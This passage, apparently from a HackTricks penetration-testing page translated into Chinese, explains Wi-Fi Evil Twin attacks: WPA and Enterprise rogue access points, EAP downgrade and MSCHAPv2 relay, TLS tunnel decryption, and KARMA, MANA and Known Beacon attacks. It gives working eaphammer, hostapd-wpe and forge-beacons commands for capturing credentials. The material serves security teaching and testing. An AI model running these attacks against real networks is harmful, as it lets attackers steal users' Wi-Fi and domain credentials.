一些 OS 和 AV 会警告用户连接到 Open 网络是危险的…
WPA/WPA2 Evil Twin
你可以创建一个 Evil Twin using WPA/2,如果设备被配置为使用 WPA/2 连接到该 SSID,它们会尝试连接。无论如何,要完成 4-way-handshake,你还需要知道客户端将要使用的密码。如果你不知道它,连接将不会完成。
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Enterprise Evil Twin
要理解这些攻击,我建议先阅读简短的 WPA Enterprise explanation。
使用 hostapd-wpe
hostapd-wpe 需要一个 配置 文件才能工作。要 自动化 生成这些配置,你可以使用 https://github.com/WJDigby/apd_launchpad(将 python 文件下载到 /etc/hostapd-wpe/)
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
在配置文件中,您可以选择很多不同的选项,例如 ssid、channel、user files、cret/key、dh parameters、wpa version 和 auth…
Using hostapd-wpe with EAP-TLS to allow any certificate to login.
使用 EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
默认情况下,EAPHammer 使用以下认证方法(注意 GTC 是首先尝试以获取明文密码的方法,然后再使用更强的认证方法):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
这是默认方法,旨在避免长时间连接。然而,你也可以向 server 指定 authentication methods,按从最弱到最强的顺序:
--negotiate weakest
或者你也可以使用:
--negotiate gtc-downgrade来使用高效的 GTC 降级实现(明文密码)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP手动指定所提供的方法(提供与目标组织相同的认证方法并保持相同顺序会使攻击更难被检测)。- 在 wiki 中查看更多信息
当客户端跳过 RADIUS 证书验证 (PEAP/TTLS)
- 如果设备被配置为 “do not validate certificate”,一个克隆的 AP + 恶意 RADIUS (
eaphammer --cert-wizard --creds --auth wpa-eap) 将收集 NetNTLMv2 (PEAP-MSCHAPv2) 或 cleartext creds (PEAP-GTC)。bettercapdeauth (wifi.deauth <BSSID>) 既会在探测期间揭示隐藏的 SSID,也会强制重新连接,除非 PMF/802.11w 阻止伪造的 deauth。 - 被破解的 NetNTLMv2 可提供可重用的 Wi‑Fi/AD creds;GTC 会产生即时的明文。
通过转发 PEAP-MSCHAPv2 而非破解(wpa_sycophant + hostapd-mana)
- 对于具有无法破解的随机密码的机器账户,滥用 MSCHAPv2 relay:将
hostapd-mana作为 Evil Twin 运行,将 MSCHAPv2 交换转发给wpa_sycophant,后者同时连接到合法 AP。成功的中继可以授予已认证的 Wi‑Fi 访问,而无需恢复密码。 - 使用支持目标安全等级的构建(WPA3/PMF 需要较新的 hostapd/wpa_supplicant);PMF 阻止 deauth 强制,因此等待客户端自愿连接。
使用 Airgeddon
Airgeddon 可以使用先前生成的证书为 WPA/WPA2-Enterprise 网络提供 EAP 认证。该假网络会将连接协议降级到 EAP-MD5,从而能够 捕获用户和密码的 MD5 值。随后,攻击者可以尝试破解密码。Airggedon 为你提供了执行 持续的 Evil Twin 攻击 (noisy) 或 仅在有人连接时才创建 Evil Attack (smooth) 的选项。
.png)
在 Evil Twins 攻击中调试 PEAP 和 EAP-TTLS 的 TLS 隧道
该方法在 PEAP 连接中进行了测试,但因为我在解密任意 TLS 隧道,所以这也应适用于 EAP-TTLS
在 hostapd-wpe 的 configuration 中,将包含 dh_file 的行注释掉(从 dh_file=/etc/hostapd-wpe/certs/dh 改为 #dh_file=/etc/hostapd-wpe/certs/dh)
这会使 hostapd-wpe 使用 RSA 进行 密钥交换 而不是 DH,因此你将能够在 知道服务器私钥 的情况下随后 解密 流量。
现在用修改后的配置照常启动作为 Evil Twin 的 hostapd-wpe。同时,在执行 Evil Twin 攻击的 接口 上启动 wireshark。
现在或稍后(当你已捕获一些认证意图时)可以将私有 RSA 密钥添加到 wireshark:Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
添加一个新条目并按如下值填写表单:IP address = any – Port = 0 – Protocol = data – Key File(选择你的密钥文件,为避免问题请选择未设置密码保护的密钥文件)。
.png)
然后查看新的 “Decrypted TLS” tab:
.png)
KARMA, MANA, Loud MANA and Known beacons 攻击
ESSID 和 MAC 黑/白名单
不同类型的 Media Access Control Filter Lists (MFACLs) 及其对应的模式,以及对恶意接入点 (AP) 行为的影响:
- MAC-based Whitelist:
- 该恶意 AP 只会响应白名单中设备发出的 probe 请求,对未列入名单的其他设备保持不可见。
- MAC-based Blacklist:
- 该恶意 AP 会忽略黑名单中设备的 probe 请求,从而对这些特定设备保持不可见。
- SSID-based Whitelist:
- 该恶意 AP 只会响应列出的特定 ESSID 的 probe 请求,对于其首选网络列表 (PNLs) 中不包含这些 ESSID 的设备则保持不可见。
- SSID-based Blacklist:
- 该恶意 AP 将不会响应黑名单中列出的特定 ESSID 的 probe 请求,从而对寻找这些特定网络的设备保持不可见。
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
该方法允许攻击者创建一个恶意 AP,并响应所有来自试图连接网络的设备的 probe requests。该技术通过模拟设备正在搜索的网络,诱使设备连接到攻击者的 AP。一旦设备向该恶意 AP 发送连接请求并完成连接,设备就会错误地连接到攻击者的网络。
MANA
随后,设备开始忽略不可靠的网络响应,这降低了原始 karma attack 的有效性。然而,Ian de Villiers 和 Dominic White 提出了一种称为 MANA attack 的新方法。该方法涉及恶意 AP 通过对设备的广播 probe requests 作出响应,使用设备先前保存的网络名称 (SSIDs) 来捕获设备的首选网络列表 (PNL)。这种复杂的攻击通过利用设备记住并优先已知网络的方式,绕过了对原始 karma attack 的防护。
MANA attack 的工作方式是监控设备的定向和广播 probe requests。对于定向请求,它记录设备的 MAC address 和所请求的网络名称,并将这些信息添加到一个列表中。当收到广播请求时,AP 会用匹配设备列表中任一网络的信息进行响应,从而诱使设备连接到该恶意 AP。
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
一个 Loud MANA attack 是一种高级策略,用于当设备不进行定向探测或其首选网络列表 (PNL) 对攻击者未知时。它基于这样一个原则:同一区域的设备很可能在其 PNL 中共享一些网络名称。该攻击不是选择性响应,而是对所有被观察设备合并的 PNL 中发现的每个网络名称 (ESSID) 广播探测响应。此种广泛的方法增加了设备识别熟悉网络并尝试连接到恶意 Access Point (AP) 的可能性。
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Known Beacon attack
当 Loud MANA attack 可能不够时,Known Beacon attack 提供了另一种方法。该方法 通过模拟响应任意网络名称的 AP,并循环遍历从 wordlist 得到的潜在 ESSIDs 列表,对连接过程进行暴力破解。这会模拟大量网络的存在,希望匹配受害者 PNL 中的某个 ESSID,从而促使设备尝试连接到伪造的 AP。可以通过将其与 --loud 选项结合来增强攻击,以更积极地诱使设备上当。
Eaphammer 将该攻击实现为一种 MANA attack,其中列表中的所有 ESSIDs 都被广播(你也可以将其与 --loud 结合,创建一个 Loud MANA + Known beacons attack):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Known Beacon Burst attack
该 Known Beacon Burst attack 涉及 对文件中列出的每个 ESSID 进行 beacon frames 的快速广播。这会在周围制造一个密集的假网络环境,大大提高设备连接到 rogue AP 的可能性,尤其在与 MANA attack 结合时。该技术利用速度和数量优势,以压倒设备的网络选择机制。
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct 是一种协议,允许设备使用 Wi-Fi 直接相互连接,而无需传统的无线接入点。此功能集成在各种 Internet of Things (IoT) 设备中,例如打印机和电视,便于设备间的直接通信。Wi-Fi Direct 的一个显著特性是其中一台设备会担任接入点的角色,被称为 group owner,用于管理连接。
安全性通过 Wi-Fi Protected Setup (WPS) 建立,WPS 支持多种用于安全配对的方法,包括:
- Push-Button Configuration (PBC)
- PIN entry
- Near-Field Communication (NFC)
这些方法,尤其是 PIN entry,容易受到与传统 Wi-Fi 网络中的 WPS 相同的漏洞影响,因此会成为类似攻击向量的目标。
EvilDirect Hijacking
EvilDirect Hijacking 是针对 Wi-Fi Direct 的特定攻击。它类似于 Evil Twin 攻击的概念,但针对 Wi-Fi Direct 连接。在这种场景中,攻击者冒充合法的 group owner,旨在欺骗设备连接到恶意实体。此方法可以使用诸如 airbase-ng 之类的工具来执行,通过指定要冒充设备的信道、ESSID 和 MAC address:
参考资料
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- The vulnerability that killed FreeWifi_Secure
- RFC 4186 – EAP-SIM Authentication
- 3GPP TS 33.402 – 3GPP system architecture evolution (SAE); Security aspects of non-3GPP accesses
- Wireless-(in)Fidelity: Pentesting Wi-Fi in 2025 (Synacktiv)
- PEAP relay attacks with wpa_sycophant (SensePost)
TODO: Take a look to https://github.com/wifiphisher/wifiphisher(使用 Facebook 登录并在 captive portals 中模拟 WPA)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


